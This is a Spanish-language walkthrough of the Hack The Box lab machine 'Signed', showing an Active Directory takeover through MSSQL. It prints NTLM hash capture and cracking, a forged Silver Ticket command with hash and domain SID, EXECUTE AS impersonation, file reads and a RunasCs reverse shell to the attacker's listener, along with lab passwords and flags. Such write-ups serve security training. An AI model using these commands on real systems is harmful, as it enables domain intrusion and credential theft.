Signed expone el servicio MSSQL, con acceso a este logramos capturar el hash NTLM de un primer usuario. Con este, descubrimos un login de un grupo con el rol de sysadmin. Suplantamos la identidad de este a traves de Silver Ticket, lo que nos dio acceso inicial. Tras la creacion de un ticket nuevo con el grupo de Domain Admins logramos leer archivos y, a traves de ’execute as’ listar archivos, con esto, logramos obtener credenciales en el historial del administrador para finalmente ejecutar una shell inversa para este usuario.
La descripcion de la maquina emula una situacion “real” de un pentest proporcionando credenciales.
As is common in real life Windows penetration tests, you will start the Signed box with credentials for the following account which can be used to access the MSSQL service: scott / Sm230#C5NatH
❯ impacket-mssqlclient -dc-ip 10.10.11.89 -p 1433 scott:'Sm230#C5NatH'@signed.htb
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232)[!] Press helpfor extra shell commands
SQL (scott guest@master)> select user_name();-----
guest
SQL (scott guest@master)> SELECT SYSTEM_USER
-----
scott
SQL (scott guest@master)>
El usuario tiene permisos limitados en la maquina.
1
2
3
4
5
6
7
8
9
10
11
SQL (scott guest@master)> xp_cmdshell whoami
ERROR(DC01): Line 1: The EXECUTE permission was denied on the object 'xp_cmdshell', database 'mssqlsystemresource', schema 'sys'.
SQL (scott guest@master)> enable_xp_cmdshell
ERROR(DC01): Line 105: User does not have permission to perform this action.
ERROR(DC01): Line 1: You do not have permission to run the RECONFIGURE statement.
ERROR(DC01): Line 62: The configuration option 'xp_cmdshell' does not exist, or it may be an advanced option.
ERROR(DC01): Line 1: You do not have permission to run the RECONFIGURE statement.
SQL (scott guest@master)> xp_dirtree C:/
subdirectory depth file
------------ ----- ----
SQL (scott guest@master)>
Capture the Hash
Sin embargo podemos utilizar xp_dirtree para capturar el hash del usuario.
Ejecutamos john con el wordlist rockyou.txt sobre el archivo de hash.
1
2
3
4
5
6
7
8
9
10
11
12
13
❯ john SMB-NTLMv2-SSP-10.10.11.90.txt --wordlist=$ROCKUsing default input encoding: UTF-8
Loaded 8 password hashes with 8 different salts (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
purPLE9795!@ (mssqlsvc)purPLE9795!@ (mssqlsvc)purPLE9795!@ (mssqlsvc)purPLE9795!@ (mssqlsvc)8g 0:00:00:08 DONE (2025-10-12 21:55) 0.9501g/s 532917p/s 4263Kc/s 4263KC/s purcitititya..puppuh
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
❯
User - mssqlsvc
Con las credenciales nos autenticamos en el servicio mssql.
A traves de MSSQL podemos realizar la enumeracion de usuarios, conociendo el dominio y el nombre de usuario o grupo tambien, es posible a traves de ‘fuzz’ al SID.
msf > use auxiliary/admin/mssql/mssql_enum_domain_accounts
msf auxiliary(admin/mssql/mssql_enum_domain_accounts) > show options
Module options (auxiliary/admin/mssql/mssql_enum_domain_accounts):
Name Current Setting Required Description
---- --------------- -------- -----------
FuzzNum 10000 yes Number of principal_ids to fuzz.
PASSWORD no The password for the specified username
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 1433 yes The target port (TCP) USERNAME sa no The username to authenticate as
USE_WINDOWS_AUTHENT false yes Use windows authentication (requires DOMAIN option set)View the full module info with the info, or info -d command.
msf auxiliary(admin/mssql/mssql_enum_domain_accounts) > set password purPLE9795!@
password=> purPLE9795!@
msf auxiliary(admin/mssql/mssql_enum_domain_accounts) > set username mssqlsvc
username=> mssqlsvc
msf auxiliary(admin/mssql/mssql_enum_domain_accounts) > set rhosts 10.10.11.90
rhosts=> 10.10.11.90
msf auxiliary(admin/mssql/mssql_enum_domain_accounts) > set USE_WINDOWS_AUTHENT trueUSE_WINDOWS_AUTHENT=> truemsf auxiliary(admin/mssql/mssql_enum_domain_accounts) >
El modulo encontro el SID del dominio junto con 48 usuarios y grupos.
Con ello tenemos lo necesario para crear el ticket:
SID del Dominio: S-1-5-21-4088429403-1159899800-2753317549
NTHASH: ef699384c3285c54128a3ee1ddb1a0cc
Domain: signed.htb
SPN: mssqlsvc/dc01.signed.htb
User
En este caso creamos el ticket para el usuario mssqlsvc. Se especifica autenticacion por kerberos con el ticket en KRB5CCNAME, es valido para autenticarse por MSSQL.
❯ rlwrap nc -lvp 1338listening on [any]1338 ...
connect to [10.10.14.2] from signed.htb [10.10.11.90]56647PS C:\Windows\system32> whoami
signed\mssqlsvc
PS C:\Windows\system32> cd C:/users/mssqlsvc/desktop
PS C:\users\mssqlsvc\desktop> dir
Directory: C:\users\mssqlsvc\desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 10/12/2025 4:16 AM 34 user.txt
PS C:\users\mssqlsvc\desktop> cat user.txt
9fc66a4c0156dccf9f12eda841f5fdb6
PS C:\users\mssqlsvc\desktop>
Impersonate Administrator
Si especificamos el RID del grupo Domain Admins y IT, junto con el RID del usuario mssqlsvc, este nos permite leer archivos ‘como administrador’. Sin embargo sigue ejecutando los comandos como mssqlsvc.
❯ impacket-ticketer -nthash ef699384c3285c54128a3ee1ddb1a0cc -domain-sid S-1-5-21-4088429403-1159899800-2753317549 -domain signed.htb -dc-ip 10.10.11.90 -groups 512,1105 -user-id 1103 -spn mssqlsvc/dc01.signed.htb Administrator
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for signed.htb/Administrator
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncTGSRepPart
[*] Saving ticket in Administrator.ccache
❯ KRB5CCNAME=Administrator.ccache impacket-mssqlclient dc01.signed.htb -no-pass -k
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232)[!] Press helpfor extra shell commands
SQL (SIGNED\mssqlsvc dbo@master)> SELECT SYSTEM_USER
---------------
SIGNED\mssqlsvc
SQL (SIGNED\mssqlsvc dbo@master)> SELECT * FROM OPENROWSET(BULK 'C:\Users\administrator\Desktop\root.txt', SINGLE_CLOB) AS c;BulkColumn
---------------------------------------
b'6e953c5b088e620c60433810bed4dbad\r\n'SQL (SIGNED\mssqlsvc dbo@master)> xp_dirtree C:\Users\administrator\
subdirectory depth file
------------ ----- ----
SQL (SIGNED\mssqlsvc dbo@master)> xp_cmdshell whoami
output
---------------
signed\mssqlsvc
NULL
SQL (SIGNED\mssqlsvc dbo@master)>
EXECUTE AS
Utilizamos EXECUTE AS para suplantar la identidad del usuario Administrador, esto nos permite listar los archivos ‘como administrador’. Aunque, se limita a eso unicamente.
SQL (SIGNED\mssqlsvc dbo@master)> EXECUTE AS LOGIN='SIGNED\Administrator'SQL (SIGNED\Administrator guest@master)> xp_dirtree C:/Users/Administrator/
subdirectory depth file
---------------- ----- ----
3D Objects 10AppData 10Application Data 10Contacts 10Cookies 10Desktop 10# [... cut ...]Templates 10Videos 10SQL (SIGNED\Administrator guest@master)> SELECT * FROM OPENROWSET(BULK 'C:\Users\administrator\Desktop\root.txt', SINGLE_CLOB) AS c;ERROR(DC01): Line 1: You do not have permission to use the bulk load statement.
SQL (SIGNED\Administrator guest@master)>
Enumerating Files
Por ahora tenemos dos formas para listar y leer archivos como administrador. Leer archivos a traves del Silver Ticket donde se especifica el grupo Domain Admins. Listar archivos a traves del Silver Ticket + EXECUTE AS. Utilizando estas dos podemos enumerar archivos en la maquina.
En Documents de administrator encontramos dos scripts en powershell.
#cleanup.ps1# DNS cleanup$ZoneName="signed.htb"# List of default DNS records to keep (from your provided list)$defaultRecords=@(@{Host="@";Type="A"},@{Host="@";Type="AAAA"},@{Host="@";Type="NS"},@{Host="@";Type="SOA"},@{Host="_gc._tcp";Type="SRV"},@{Host="_gc._tcp.Default-First-Site-Name._sites";Type="SRV"},@{Host="_kerberos._tcp";Type="SRV"},@{Host="_kerberos._tcp.Default-First-Site-Name._sites";Type="SRV"},@{Host="_kerberos._udp";Type="SRV"},@{Host="_kpasswd._tcp";Type="SRV"},@{Host="_kpasswd._udp";Type="SRV"},@{Host="_ldap._tcp";Type="SRV"},@{Host="_ldap._tcp.Default-First-Site-Name._sites";Type="SRV"},@{Host="_msdcs";Type="NS"},@{Host="dc01";Type="A"},@{Host="dc01";Type="AAAA"},@{Host="DomainDnsZones";Type="A"},@{Host="DomainDnsZones";Type="AAAA"},@{Host="_ldap._tcp.DomainDnsZones";Type="SRV"},@{Host="_ldap._tcp.Default-First-Site-Name._sites.DomainDnsZones";Type="SRV"},@{Host="ForestDnsZones";Type="A"},@{Host="ForestDnsZones";Type="AAAA"},@{Host="_ldap._tcp.ForestDnsZones";Type="SRV"},@{Host="_ldap._tcp.Default-First-Site-Name._sites.ForestDnsZones";Type="SRV"})# Get all records in zone$allRecords=Get-DnsServerResourceRecord-ZoneName$ZoneNameforeach($recordin$allRecords){# Check if record is in defaults$keep=$defaultRecords|Where-Object{$_.Host-eq$record.HostName-and$_.Type -eq$record.RecordType}if($keep){continue}# Skip default recordstry{switch($record.RecordType){"A"{Remove-DnsServerResourceRecord-ZoneName$ZoneName-RRType"A"-Name$record.HostName-RecordData$record.RecordData.IPv4Address-ForceWrite-Host"Removed A record: $($record.HostName)"}"AAAA"{Remove-DnsServerResourceRecord-ZoneName$ZoneName-RRType"AAAA"-Name$record.HostName-RecordData$record.RecordData.IPv6Address-ForceWrite-Host"Removed AAAA record: $($record.HostName)"}"CNAME"{Remove-DnsServerResourceRecord-ZoneName$ZoneName-RRType"CNAME"-Name$record.HostName-RecordData$record.RecordData.HostNameAlias-ForceWrite-Host"Removed CNAME record: $($record.HostName)"}"MX"{Remove-DnsServerResourceRecord-ZoneName$ZoneName-RRType"MX"-Name$record.HostName-RecordData$record.RecordData.MailExchange-ForceWrite-Host"Removed MX record: $($record.HostName)"}"TXT"{Remove-DnsServerResourceRecord-ZoneName$ZoneName-RRType"TXT"-Name$record.HostName-RecordData$record.RecordData.DescriptiveText-ForceWrite-Host"Removed TXT record: $($record.HostName)"}"SRV"{Remove-DnsServerResourceRecord-ZoneName$ZoneName-RRType"SRV"-Name$record.HostName-RecordData$record.RecordData-ForceWrite-Host"Removed SRV record: $($record.HostName)"}default{Write-Host"Skipping unsupported record type: $($record.HostName) [$($record.RecordType)]"}}}catch{Write-Warning"Failed to remove $($record.HostName) [$($record.RecordType)]: $_"}}Write-Host"DNS cleanup completed."
PS C:\users\mssqlsvc\Documents> ./RunasCs.exe Administrator Th1s889Rabb!t powershell.exe -r 10.10.14.5:1337
[+] Running in session 0 with process function CreateProcessWithLogonW()[+] Using Station\Desktop: Service-0x0-55f77$\Default
[+] Async process 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' with pid 5988 created in background.
PS C:\users\mssqlsvc\Documents>
❯ rlwrap nc -lvp 1337listening on [any]1337 ...
connect to [10.10.14.5] from signed.htb [10.10.11.90]54470Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Windows\system32> whoami
signed\administrator
PS C:\Windows\system32> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State===================================================================================================================SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeMachineAccountPrivilege Add workstations to domain Disabled
SeSecurityPrivilege Manage auditing and security log Disabled
SeTakeOwnershipPrivilege Take ownership of files or other objects Disabled
SeLoadDriverPrivilege Load and unload device drivers Disabled
SeSystemProfilePrivilege Profile system performance Disabled
SeSystemtimePrivilege Change the system time Disabled
SeProfileSingleProcessPrivilege Profile single process Disabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority Disabled
SeCreatePagefilePrivilege Create a pagefile Disabled
SeBackupPrivilege Back up files and directories Disabled
SeRestorePrivilege Restore files and directories Disabled
SeShutdownPrivilege Shut down the system Disabled
SeDebugPrivilege Debug programs Enabled
SeSystemEnvironmentPrivilege Modify firmware environment values Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeRemoteShutdownPrivilege Force shutdown from a remote system Disabled
SeUndockPrivilege Remove computer from docking station Disabled
SeEnableDelegationPrivilege Enable computer and user accounts to be trusted for delegation Disabled
SeManageVolumePrivilege Perform volume maintenance tasks Disabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
SeCreateSymbolicLinkPrivilege Create symbolic links Disabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Disabled
PS C:\Windows\system32> cat C:/Users/Administrator/Desktop/root.txt
6e953c5b088e620c60433810bed4dbad
PS C:\Windows\system32>
Dump Hashes
Ejecutamos mimikatz para obtener los hashes de los usuarios del dominio, aunque ya teniamos las credenciales en texto plano.
